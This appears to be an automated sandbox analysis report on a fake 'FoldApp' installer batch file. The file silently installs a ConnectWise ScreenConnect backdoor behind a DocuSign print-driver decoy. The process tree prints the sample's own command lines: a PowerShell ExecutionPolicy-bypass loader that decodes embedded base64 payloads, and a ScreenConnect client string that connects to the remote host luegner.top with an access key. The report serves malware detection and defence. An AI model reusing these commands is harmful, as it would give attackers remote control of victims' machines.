Overview

overview

8

Static

static

1

FoldApp-In....3.bat

windows10-2004-x64

8

FoldApp-In....3.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/11/2026, 12:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    FoldApp-Installer-Winx64-Setup-v2.5.3.bat
  • Size 11.5MB
  • Sample261113-pdasjsbv3q
  • SHA256 ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarebackdoordefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwareratrevoked_codesignspywaretrojan

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Port Monitors 1 TTPs 13 IoCs

    Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

    persistence
  • Manipulates Digital Signatures 1 TTPs 1 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 12 IoCs
  • Loads dropped DLL 55 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 57 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 8 IoCs
    defense_evasionspywaretrojan
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FoldApp-Installer-Winx64-Setup-v2.5.3.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3576
    • C:\Windows\system32\fltMC.exe
      fltmc
      2⤵
        PID:2336
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2448
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2620
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$m=Join-Path -Path $env:TD -ChildPath 'SC_FeedbackTool.msi'; $e=Join-Path -Path $env:TD -ChildPath 'SecondInstaller.exe'; if((Get-FileHash -Algorithm SHA256 -LiteralPath $m).Hash -ne 'C8F361433837AFE3CEB00D300E3B922FE5DD56365DADE70E3187031166D8676E'){exit 2}; if((Get-FileHash -Algorithm SHA256 -LiteralPath $e).Hash -ne '7AD243CD358D916E029BA8FF9A616DFDCAB29B594A9EBF08A66A1C4BD63FB7E2'){exit 3}"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:300
      • C:\Windows\system32\msiexec.exe
        msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\SC_FeedbackTool_225125244\SC_FeedbackTool.msi" /quiet /norestart /L*V "C:\Users\Admin\AppData\Local\Temp\SC_FeedbackTool-install.log"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:6036
      • C:\Users\Admin\AppData\Local\Temp\SC_FeedbackTool_225125244\SecondInstaller.exe
        "C:\Users\Admin\AppData\Local\Temp\SC_FeedbackTool_225125244\SecondInstaller.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4796
        • C:\Windows\Temp\{6A6A8010-5992-4660-98DD-8EE86E81B249}\.cr\SecondInstaller.exe
          "C:\Windows\Temp\{6A6A8010-5992-4660-98DD-8EE86E81B249}\.cr\SecondInstaller.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\SC_FeedbackTool_225125244\SecondInstaller.exe" -burn.filehandle.attached=764 -burn.filehandle.self=768
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2600
          • C:\Windows\Temp\{BEE92BBE-04AD-42D7-BA80-CDC6A35F8C45}\.be\Docusign Print Driver x64.exe
            "C:\Windows\Temp\{BEE92BBE-04AD-42D7-BA80-CDC6A35F8C45}\.be\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{A499C305-82CB-4BF2-9516-CA59CF9CE5C9} {64A5D7BD-4B2E-4933-BE91-EBDFB10CC95C} 2600
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Modifies system certificate store
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:5360
            • C:\Windows\SysWOW64\explorer.exe
              explorer "C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:3320
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1972
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 5A9396329D56A9162D8D42836367BEBC
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3348
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI5DA7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240737984 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:1212
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 085C70B70F00143F80BFC4058C47E423 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1760
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 858B06092338A51286C862515CCD7297 C
        2⤵
        • Loads dropped DLL
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4264
        • C:\Windows\system32\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF9E7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240777937 76 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
          3⤵
          • Loads dropped DLL
          PID:4856
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E68338F6FDDC0B70AC20A9DC23606BE5 C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3172
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 3A9A4FCFFE641A96F5590FD879B1A7D3 C
        2⤵
        • Loads dropped DLL
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5060
        • C:\Windows\system32\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI2C32.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240790718 76 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
          3⤵
          • Loads dropped DLL
          PID:4652
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1CA654834276A1F5E0B68771218A7D51 C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5916
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding F106573B904F4F0FC52FB4CF2C78A425
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3396
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 5AA37A6275F2AC793F6F31FDA389CAC1
        2⤵
        • Loads dropped DLL
        • Suspicious use of SetWindowsHookEx
        PID:2064
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9F11F5C722F5D422683B70252BFEFB7E E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2944
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding DB941798CC34E0D17278D91265A799E4 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in System32 directory
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Checks SCSI registry key(s)
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:3640
      • C:\Windows\system32\NET.exe
        NET STOP SPOOLER
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2268
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 STOP SPOOLER
          3⤵
            PID:896
        • C:\Windows\system32\NET.exe
          NET START SPOOLER
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3888
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 START SPOOLER
            3⤵
              PID:3884
          • C:\Windows\system32\rundll32.exe
            rundll32 printui.dll,PrintUIEntry /q /dd /m "DocuSignPrintDriver"
            2⤵
              PID:4908
            • C:\Windows\system32\rundll32.exe
              rundll32 printui.dll,PrintUIEntry /if /b "Print to Docusign" /f "C:\Program Files\Docusign\Print Driver\\Driver\DocuSignPrintDriver.inf" /r "nul:" /m "DocuSignPrintDriver"
              2⤵
              • Drops file in Windows directory
              • Modifies data under HKEY_USERS
              PID:4560
            • C:\Windows\syswow64\MsiExec.exe
              C:\Windows\syswow64\MsiExec.exe -Embedding EBC20BD1E944FA5E4B407FFD62CE42CF
              2⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:5164
            • C:\Windows\System32\MsiExec.exe
              C:\Windows\System32\MsiExec.exe -Embedding 04674DBE63FBE8F2C38660EED84EE3F3
              2⤵
              • Loads dropped DLL
              • Suspicious use of SetWindowsHookEx
              PID:3304
            • C:\Windows\syswow64\MsiExec.exe
              C:\Windows\syswow64\MsiExec.exe -Embedding FB5722DABF6A0F1B601B55A3BE09CF8A E Global\MSI0000
              2⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              PID:5032
          • C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.ClientService.exe
            "C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=luegner.top&p=8041&s=6190e168-2fb1-461f-954b-affecdcb7b5b&k=BgIAAACkAABSU0ExAAgAAAEAAQCNraGUkm2bgZ8G1IYLAg6dhp4%2fW1psNOb28arj48NCa7MBUlLW2gvejZT0iFmRGGW328UGjVtkYpzMdLj1QudJVnLB%2bwkYpU%2b56zp8RXu6UdweTEG1s%2bE5EVkbLyEsKSBdlJ3xsTx%2blVCsPjS9z6mGcFXrLbX9oKf4lTyzXiIxLSse0H5WayBL%2b05KzeyfahYPTRiKUjD26P6Tl4Z4mSWDLFdG5BOL0thSTilCfK7%2f1a70F6ythwky2jT4MAF%2bh5iduEoYDD3MyUjBRmI8U2eUxdhk%2fuLS7na%2fXYdw1s5R6KmlLFcPcM1NghrsqSx5%2bnTOZIabhov%2foCXOr%2b3nZ6jN"
            1⤵
            • Sets service image path in registry
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1724
            • C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe
              "C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe" "RunRole" "39fa2841-e651-46cc-b25c-c04b7838fd06" "User"
              2⤵
              • Executes dropped EXE
              PID:1076
            • C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe
              "C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe" "RunRole" "baae2366-c94b-4501-830e-4acd8bff11f2" "System"
              2⤵
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              • Checks processor information in registry
              • Modifies data under HKEY_USERS
              PID:1732
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Checks SCSI registry key(s)
            PID:2812
          • C:\Windows\system32\srtasks.exe
            C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
            1⤵
              PID:1212
            • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
              "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.runonce
              1⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2804
              • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20261113121405.log"
                2⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3344
                • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                  "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.filehandle.attached=556 -burn.filehandle.self=576 /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20261113121405.log"
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4816
                  • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                    "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{35C9DC61-699D-428D-AA81-E83762B4803E} {2B884C59-1E50-4462-B25B-CAB362EFBF05} 4816
                    4⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Enumerates connected drives
                    • System Location Discovery: System Language Discovery
                    • Modifies registry class
                    • Modifies system certificate store
                    • Suspicious use of FindShellTrayWindow
                    PID:2336
            • C:\Windows\system32\DrvInst.exe
              DrvInst.exe "4" "1" "C:\Program Files\Docusign\Print Driver\Driver\DocuSignPrintDriver.inf" "9" "4a43c781f" "000000000000016C" "WinSta0\Default" "0000000000000170" "208" "C:\Program Files\Docusign\Print Driver\Driver"
              1⤵
              • Manipulates Digital Signatures
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Checks SCSI registry key(s)
              • Modifies data under HKEY_USERS
              • Suspicious use of WriteProcessMemory
              PID:2708
              • C:\Windows\system32\rundll32.exe
                rundll32.exe C:\Windows\system32\pnpui.dll,InstallSecurityPromptRunDllW 20 Global\{DDB4AE92-8874-4607-9995-E2CA02BF46B0} Global\{E6829C91-BDED-4C2D-B55D-8818E994EEE0} C:\Windows\System32\DriverStore\Temp\{5aeb3ae3-4a6a-c143-827b-93e8b84ca4fc}\DocuSignPrintDriver.inf C:\Windows\System32\DriverStore\Temp\{5aeb3ae3-4a6a-c143-827b-93e8b84ca4fc}\DocuSignPrintDriver.cat
                2⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                PID:1384
            • C:\Windows\System32\spoolsv.exe
              C:\Windows\System32\spoolsv.exe
              1⤵
              • Boot or Logon Autostart Execution: Port Monitors
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Checks SCSI registry key(s)
              • Modifies data under HKEY_USERS
              PID:2724
            • C:\PROGRA~1\Docusign\PRINTD~1\DocuSign.PrintDriverApplication.exe
              C:\PROGRA~1\Docusign\PRINTD~1\DOCUSI~1.EXE
              1⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              PID:3012
            • C:\Windows\system32\DrvInst.exe
              DrvInst.exe "4" "d" "C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf" "9" "43057df13" "0000000000000170" "WinSta0\Default" "0000000000000190" "208" "C:\Windows\system32\spool\tools\Microsoft Print To PDF"
              1⤵
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Modifies data under HKEY_USERS
              PID:628
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
              1⤵
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:4840
              • C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe
                "C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe"
                2⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Suspicious behavior: EnumeratesProcesses
                PID:4592

            Network

                  MITRE ATT&CK Enterprise v16

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Command and Scripting Interpreter

                  2
                  T1059

                  PowerShell

                  1
                  T1059.001

                  Windows Command Shell

                  1
                  T1059.003

                  Persistence

                  Boot or Logon Autostart Execution

                  4
                  T1547

                  Authentication Package

                  1
                  T1547.002

                  Port Monitors

                  1
                  T1547.010

                  Registry Run Keys / Startup Folder

                  2
                  T1547.001

                  Create or Modify System Process

                  1
                  T1543

                  Windows Service

                  1
                  T1543.003

                  Event Triggered Execution

                  1
                  T1546

                  Component Object Model Hijacking

                  1
                  T1546.015

                  Privilege Escalation

                  Boot or Logon Autostart Execution

                  4
                  T1547

                  Authentication Package

                  1
                  T1547.002

                  Port Monitors

                  1
                  T1547.010

                  Registry Run Keys / Startup Folder

                  2
                  T1547.001

                  Create or Modify System Process

                  1
                  T1543

                  Windows Service

                  1
                  T1543.003

                  Event Triggered Execution

                  1
                  T1546

                  Component Object Model Hijacking

                  1
                  T1546.015

                  Defense Evasion

                  Modify Registry

                  4
                  T1112

                  Subvert Trust Controls

                  2
                  T1553

                  Install Root Certificate

                  1
                  T1553.004

                  SIP and Trust Provider Hijacking

                  1
                  T1553.003

                  Credential Access

                  Discovery

                  Peripheral Device Discovery

                  2
                  T1120

                  Query Registry

                  5
                  T1012

                  System Information Discovery

                  4
                  T1082

                  System Location Discovery

                  1
                  T1614

                  System Language Discovery

                  1
                  T1614.001

                  System Network Configuration Discovery

                  1
                  T1016

                  Lateral Movement

                  Collection

                  Command and Control

                  Exfiltration

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  e595bf4.rbs
                  • Path C:\Config.Msi\e595bf4.rbs
                  • Size 214KB
                  • SHA256 69e3f2d4da5a59ea3039e9cc108af80f0f1a6b3c44f6f42a3574c06deaf19bd9
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  e595bf7.rbs
                  • Path C:\Config.Msi\e595bf7.rbs
                  • Size 710KB
                  • SHA256 285d5ca095259f4e3421bd7c1dc14a526a35913902e607ce9bb711a17686bf41
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  e595bf9.rbs
                  • Path C:\Config.Msi\e595bf9.rbs
                  • Size 5KB
                  • SHA256 e00fa5700ca2b22e8140de01a96f0c94546c9c92d66f04a3b6fbff5f10749a44
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  Client.Override.en-US.resources
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\Client.Override.en-US.resources
                  • Size 343B
                  • SHA256 12191483feb8db21c4b7ecd039be74de31710326b9ff1466d9bd6f53329259f6
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  Client.Override.resources
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\Client.Override.resources
                  • Size 54KB
                  • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  Client.en-US.resources
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\Client.en-US.resources
                  • Size 47KB
                  • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  Client.resources
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\Client.resources
                  • Size 26KB
                  • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.Client.dll
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.Client.dll
                  • Size 192KB
                  • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.ClientService.dll
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.ClientService.dll
                  • Size 67KB
                  • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.ClientService.exe
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.ClientService.exe
                  • Size 93KB
                  • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.WindowsAuthenticationPackage.dll
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsAuthenticationPackage.dll
                  • Size 254KB
                  • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.WindowsClient.exe
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe
                  • Size 595KB
                  • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.WindowsClient.exe.config
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe.config
                  • Size 266B
                  • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  ScreenConnect.WindowsCredentialProvider.dll
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsCredentialProvider.dll
                  • Size 837KB
                  • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  app.config
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\app.config
                  • Size 2KB
                  • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  system.config
                  • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\system.config
                  • Size 943B
                  • SHA256 e249973e7c077356464c3949285997c5d46c5bfa0c0356efbe2081d692b96ec7
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  DocuSign.PrintDriverApplication.exe
                  • Path C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe
                  • Size 552KB
                  • SHA256 e1f04f8b64dfdfbcb8772cb9a16ce94b1112c665e99a85fcf37f683321f0fc3b
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  state.rsm
                  • Path C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\state.rsm
                  • Size 998B
                  • SHA256 e8f6dc47ef5ae62122cc5ece55d3f595d0a34c7aafbe8ae56956803839c1b741
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  zh-cn.mst
                  • Path C:\ProgramData\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\zh-cn.mst
                  • Size 28KB
                  • SHA256 e55ffe8a6eef0c42bdf1881e95461ef735230c25aebeb31d9e915a1243adb1e0
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
